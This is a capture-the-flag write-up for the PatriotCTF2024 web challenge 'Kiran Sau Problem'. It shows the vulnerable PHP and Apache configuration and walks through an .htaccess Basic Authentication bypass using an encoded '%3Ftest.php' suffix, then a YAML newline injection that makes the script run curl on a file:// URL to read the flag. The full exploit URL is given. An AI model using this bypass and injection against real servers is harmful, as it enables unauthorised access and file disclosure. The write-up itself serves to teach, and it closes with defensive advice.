Post

PatriotCTF2024 web/kiran sau problem

My solution for PatriotCTF2024 web/KIRAN SAU PROBLEM challenge

Challenge overview

Impersonate

The KIRAN SAU PROBLEM challenge presents a simple PHP web application with some configuration files, crontab and .htaccess file.

Application structure

1
2
3
4
5
6
7
8
9
10
11
12
├── conf-files  
│   ├── .htaccess  
│   ├── 000-default.conf  
│   ├── apache.conf  
│   ├── cron.conf  
│   ├── crontab  
│   └── php-fpm.conf  
├── php-files  
│   ├── challenge.php  
│   └── index.php  
├── docker-compose.yaml  
└── Dockerfile  

Analysis

Upon accessing the challenge URL, we encounter a basic PHP application with limited information.

.htaccess

1
2
3
4
5
6
<Files "challenge.php">
    AuthType Basic 
    AuthName "Admin Panel"
    AuthUserFile "/etc/apache2/.htpasswd"
    Require valid-user
</Files>

This configuration restricts access to challenge.php using Basic Authentication, hinting at a potential bypass strategy.

challenge.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<html>
<head>
<title>Kiran Sau Problem</title>
</head>
</html>

<?php

$input = $_GET['country'];
$url = $_GET['url'];

$countryList = array(
    "AF" => "Afghanistan", "AL" => "Albania", "DZ" => "Algeria", "AS" => "American Samoa",
    ... and so on... );
$countryList = array_flip($countryList);

$yaml = <<<EOF
- country: $input
- country_code: $countryList[$input]
EOF;

if (empty($yaml)) die("No YAML data provided");


$parsed_arr = yaml_parse($yaml);
$cc = $parsed_arr[1]['country_code'];

if (!$parsed_arr) echo "Error parsing YAML".'<br>';

if (!$input) die("No country code provided");

if (isset($input)) {
    if (array_key_exists($parsed_arr[0]['country'], $countryList)) {
        echo "The country code for ".$parsed_arr[0]['country']." is ". $cc.'<br>';
        run($cc, $url);
    } else {
        die("Country not found");
        return; 
    }
}

function run($cc, $url) {

    echo "Country code: ".$cc."<br>";
    if (!$cc) {
        system(escapeshellcmd('curl '.$url));
    } 
    return;
}

000-default.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<VirtualHost *:80>
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html
    <Directory "/var/www/html">
        AllowOverride All
    </Directory>

    <FilesMatch \.php$>
        AddType application/x-httpd-php .php
        SetHandler  "proxy:fcgi://localhost:9000"
    </FilesMatch>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

Identifying the vulnerabilities

Basic Authentication bypass
The .htaccess file secures challenge.php with Basic Authentication. However, I discovered a clever way to bypass this protection by manipulating the URL: http://chal.competitivecyber.club:8090/challenge.php%3Ftest.php

More about this here:
Link 1
Link 2

Quick explanation

By appending %3Ftest.php (URL-encoded ?test.php) to challenge.php, the server misinterprets the request, potentially bypassing the .htaccess restrictions and allowing access without authentication.

YAML Injection to Command Execution
The core vulnerability lies within the handling of user inputs country and url in challenge.php.

User inputs:

  • country: expected to be a country code(e.g., “US”)
  • url: a url to be used in a system command

YAML construction:

1
2
3
4
$yaml = <<<EOF
- country: $input
- country_code: $countryList[$input]
EOF;

This YAML string is constructed using direct user input without proper sanitization, allowing for YAML injection.

YAML parsing:

1
2
$parsed_arr = yaml_parse($yaml);
$cc = $parsed_arr[1]['country_code'];

Conditional execution:

1
2
3
if (!$cc) {
    system(escapeshellcmd('curl '.$url));
}

If country_code is empty, the application executes a curl command with the provided url.

By injecting a newline character into the country parameter, we can manipulate the YAML structure, making country_code empty and triggering the system call with a controlled url.

Crafting the exploit

  1. Bypassing Basic Authentication
    Utilize the URL-encoding trick to access challenge.php without providing valid credentials: http://chal.competitivecyber.club:8090/challenge.php%3Ftest.php

  2. Exploiting YAML Injection
    Make $cc empty to trigger the system call, then inject a newline character into the country parameter to alter the YAML structure.

  3. Payload construction:
    1
    2
    
    country = Azerbaijan%0A-%20country_code:%20
    url = file:///get-here/flag.txt
    
  4. Final exploit URL
    1
    
    http://chal.competitivecyber.club:8090/challenge.php%3Ftest.php?country=Azerbaijan%0A-%20country_code:%20&url=file:///get-here/flag.txt
    

Breakdown

Azerbaijan%0A-%20country_code:%20 - this alters the YAML to:

1
2
- country: Azerbaijan
- country_code: 

As a result, $parsed_arr[1]['country_code'] becomes empty (null).

Since $cc is empty, the condition if (!$cc) is satisfied. The application executes:

1
system(escapeshellcmd('curl file:///get-here/flag.txt'));

Flag:
PCTF{Kiran_SAU_Manifested}

Conclusion

By analyzing the application’s handling of user inputs and leveraging YAML injection, we successfully bypassed Basic Authentication and executed arbitrary command to retrieve the flag. This challenge underscores the critical importance of input validation and secure coding practices in web applications.

Key takeaways

  • Importance of proper URL parsing: Ensuring that authentication mechanisms correctly parse and validate URLs can prevent such bypass attempts.
  • Sanitize and validate inputs: Always sanitize user inputs, especially when they are used to construct data structures or commands.
  • Use safe parsing methods: Utilize parsing libraries and functions that handle input safely and avoid exposing internal logic to user manipulation.
  • Avoid direct command execution: Refrain from using functions like system, exec, or shell_exec with user inputs.
This post is licensed under CC BY 4.0 by the author.